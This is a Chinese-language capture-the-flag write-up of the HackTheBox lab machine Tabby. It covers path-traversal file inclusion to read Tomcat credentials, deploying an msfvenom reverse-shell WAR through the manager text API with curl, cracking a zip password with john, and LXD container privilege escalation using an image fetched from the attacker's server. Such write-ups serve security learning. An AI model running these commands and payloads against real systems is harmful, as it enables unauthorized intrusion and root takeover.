0%

HackTheBox-Tabby

  • Name:Tabby
  • IP: 10.10.10.194

image-20201021131717843

实际上是很久之前做的了,一直没发。。很有意思的靶机,枚举多一点。

0x01 信息收集

NMAP

image-20201021131849590

开放的端口:22,80,8080

访问网站的话,就会留意到一个链接有域名,并且看起来很像是文件包含。

image-20201021131948421

在/etc/hosts中添加进去。再次访问。输入file=/etc/passwd探测的时候返回空白页面,然后使用../files/statement也能返回页面,所以尝试目录遍历的方式包含的话就可以了file=../../../../etc/passwd

成功返回/etc/passwd内容(我这边图糊了,就不放图了。。

之后接下来的思路是:包含tomcat的用户页面(因为有tomcat的服务,并且在/etc/passwd看到了tomcat的路径),然后登录tomcat的管理面板,最后上传恶意war脚本,反弹shell。

tomcat

但是接下来无论如何我都读不到/opt/tomcat下面的配置文件,猜测为以下原因

  1. 权限不够
  2. tomcat的文件路径不在tomcat家目录下。尝试读取tomcat.service后发现。tomcat指定的家路径为/opt/tomcat/latest/

image-20201021132524646

但是之后我尝试读/opt/tomcat/latest/conf/tomcat-users.xml也不行,我猜测可能不是编译安装所以找不到网络上的所说的配置文件,有可能是包管理的形式安装的tomcat。所以去搜索了一下包管理方式安装tomcat的配置文件的默认路径。最后成功读到用户名和密码

tabby-tomcat

但是结果显然是让我失望的,因为该tomcat用户并不属于manager-gui组。所以并不能通过直接登陆面板的方式来部署恶意脚本。host-manager虽然有个弹shell的方法,但是只适用与windows的服务器。

image-20201021132956577

最后通过查阅tomcat的文档,发现其实manager-script角色组也能上传部署war,和管理这个的,只是没有GUI的窗口。

image-20201021133044167

1
2
3
4
5
6
7
curl -u 'tomcat':'$3cureP4s5w0rd123!' 'http://10.10.10.194:8080/manager/text/list # 获取已经部署的应用

## 通过阅读文档,知道了 有三个参数 update,tag,config。但是我们只需要上传就可以了

msfvenom -p java/shell_reverse_tcp LHOST=Your_IP LPORT=port -f war -o /tmp/shell.war

curl -u 'tomcat':'$3cureP4s5w0rd123!' 'http://10.10.10.194:8080/manager/text/deploy?path=/shell&update=true' --upload-file /tmp/shell.war

上传之后本地监听设置的端口,访问部署后的路径即可。

0x02 提权

获取到tomcat用户的shell后,搜索一番,发现/var/www/html/files下有一个zip文件,下载下来解压但是需要密码,我使用tomcat用户的密码和尝试一些简单的密码,都不行。使用zip2john导出zip的hash,使用john爆破。
image-20201021133330100

解压出来的东西没用,但是解压密码能登陆ash用户。

image-20201021133403739

image-20201021133420659

接下来正常照lxd的提权流程进行就好了,需要注意的是导入镜像需要在用户的家目录下导入,否则一直会提示找不到文件。还有一点需要注意的是靶机上面没有lxc storage,所以一开始导入好了接着往下执行的话就会提示失败,需要先lxd init创建一个storage spool才可以。提权步骤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 攻击机器上执行
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine

# 此命令必须以root用户执行,之后会生成一个tar.gz的压缩包。

python3 -m http.server 80

# 目标系统中执行
cd ~
wget http://Your-Vps-IP/alpine-v3.12-x86_64-20200908_2138.tar.gz -O /tmp/alpine-v3.12.tar.gz
lxc image import ./alpine-v3.12.tar.gz --alias alpine-v3.12
lxd init ##交互性的确认。全部默认,除了问名字的时候输入ignite。
lxc init alpine-v3.12 ignite -c security.privileged=true ##如果没有执行过lxd init,这里会报错。
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

最后只要cd到/mnt/root下就是靶机的文件了

image-20201021133553095